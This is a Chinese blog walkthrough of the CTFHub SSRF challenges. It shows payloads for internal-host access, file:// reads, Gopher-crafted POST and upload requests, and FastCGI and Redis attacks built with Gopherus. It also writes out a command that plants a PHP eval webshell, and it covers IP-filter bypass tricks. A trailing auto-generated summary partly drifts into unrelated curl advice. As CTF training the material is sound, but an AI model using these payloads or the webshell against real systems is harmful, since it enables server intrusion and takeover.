CTFHub技能树 Web-SSRF篇(通过教程)

第一部分(Http、Dict和file等协议的利用)

内网访问

尝试访问位于127.0.0.1的flag.php吧

我们是从目标主机内网环境访问它本地的flag.php,我们构建url:

目录

第一部分(Http、Dict和file等协议的利用)

内网访问


/?url=http://127.0.0.1/flag.php

为协议读取文件

尝试去读取一下Web目录下的flag.php吧

我们尝试直接访问,发现访问不到。

那么他提供给我们的信息常使用web目录访问的话就是暗示我们用file协议

我们构建如下payload:

/?url=file:///var/www/html/flag.php

 

查看一下源代码

端口扫描

CTFHub在线扫端口,端口范围是8000-9000

开启环境之后,直接使用burpsuite的狙击手模式直接开始爆破

设置变量的类型(Numbers)和范围(8000-9000)

直接爆破,寻找端口,然后访问这个端口,此端口就是flag所在

 第二部分(Gopher协议的利用)

POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

我们访问 127.0.0.1/flag.php 会得到一个输入框

因为是post请求所以得

查看源码

会得到一个key值 a23efde9fbddeb0cd5755d9a532c9342

这一题很简单

上传文件

我们尝试访问 ?/url=127.0.0.1/flag.php

发现有上传页面但是并没有提交按钮

我们可以通过查看源码,并在from表单中写入 submit  ,如下图:

<input type="submit" name="submit">

随便上传一个比较小的文件,然后抓包

根据我们抓的包,把他进行修改一下 

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
 
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
 
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

将写好的数据包进行两次转码 

第一次完成后需要将%0A修改为%0D%0A

第二次结束之后然后用gopher协议访问

 

 

 FastCGI协议

我们这里使用Gopherus脚本(GitHub下载)构造payload

我们先将Gopherus脚本下载至服务器上

下载地址:https://github.com/tarunkant/Gopherus.git

然后使用python2在kali上运行下列代码

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
​

<?php eval($_POST[whoami]);?>
base64加密
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4

 

 需要将生成的进行一次编码,因为get本身会进行一次url解码

然后访问

和上传文件的方式一样

然后用中国菜刀连接

 在跟目录发现了一个flag包打开就是flag

Redis协议

和fastcgi一样继续使用gopherus

但是需要改改

再次进行编码,编码之后和上一个题一样去运行,运行会一直处于转圈中,我们可以访问一下/shell.php页面,

 继续和上一题一样用中国菜刀访问根目录下的flag文件就是我们需要的flag密码

Bypass

URL Bypass

构造urlbypass payload

利用@符号绕过

http://challenge-71a16ac5a43dfae7.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

 

数字IP Bypass 

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

10进制确实被禁止,可以使用可以十六进制,二进制等其他进制

127.0.0.1

十六进制 = 7F000001
二进制 = 1111111000000000000000000000001

302跳转 Bypass 

这一关主要检测127.0.0.1,绕过就行

进制转换

具有127.0.0.1含义的其他地址

参考关于localhost,0.0.0.0及127.0.0.1的区别

都可以直接KO,

进制转换   16进制  2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的  localhost  0  
localhos在IPV4中被指向127.0.0.1 
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php

 

 DNS重绑定 Bypass

上一关的localhost、0是不行的

这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP

一个127.0.0.1,一个其他的ip(能访问就行,我设置的是自己的服务器ip)

然后直接在url中输入

?url=7000001.7cddf025.rbnd.us/flag.php

感谢大家的观看 

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFHubWeb技能树中,302跳转是一种常见的技术。根据引用\[1\],302跳转继承了HTTP 1.0中302的实现,即无论原请求是GET还是POST,都可以自动进行重定向。而根据引用\[2\],在使用curl命令进行下载时,可以通过参数-C -实现断点续传,即在下载过程中按Ctrl + C停止下载,下次可以接着上次的进度继续下载。这样可以节省时间,避免重复下载已经下载过的部分。 在某些情况下,302跳转可能会受到黑名单的限制。根据引用\[3\],黑名单可能限制了特定的网段,如127、172、10、192网段。然而,可以通过使用localhost的方式绕过这些限制。例如,将http://127.0.0.1/flag.php转换为短网址,并构造Payload发送请求,利用302跳转可以获取到flag。 总结来说,302跳转是一种常见的Web技术,可以用于重定向请求。在CTFHubWeb技能树中,了解如何使用302跳转以及如何绕过黑名单限制是很重要的。 #### 引用[.reference_title] - *1* *2* [2.CTFhub技能树 web前置技能 http协议 302跳转](https://blog.csdn.net/FFFFFFMVPhat/article/details/121342556)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树 Web-SSRF 302跳转 Bypass](https://blog.csdn.net/weixin_44037296/article/details/118482943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值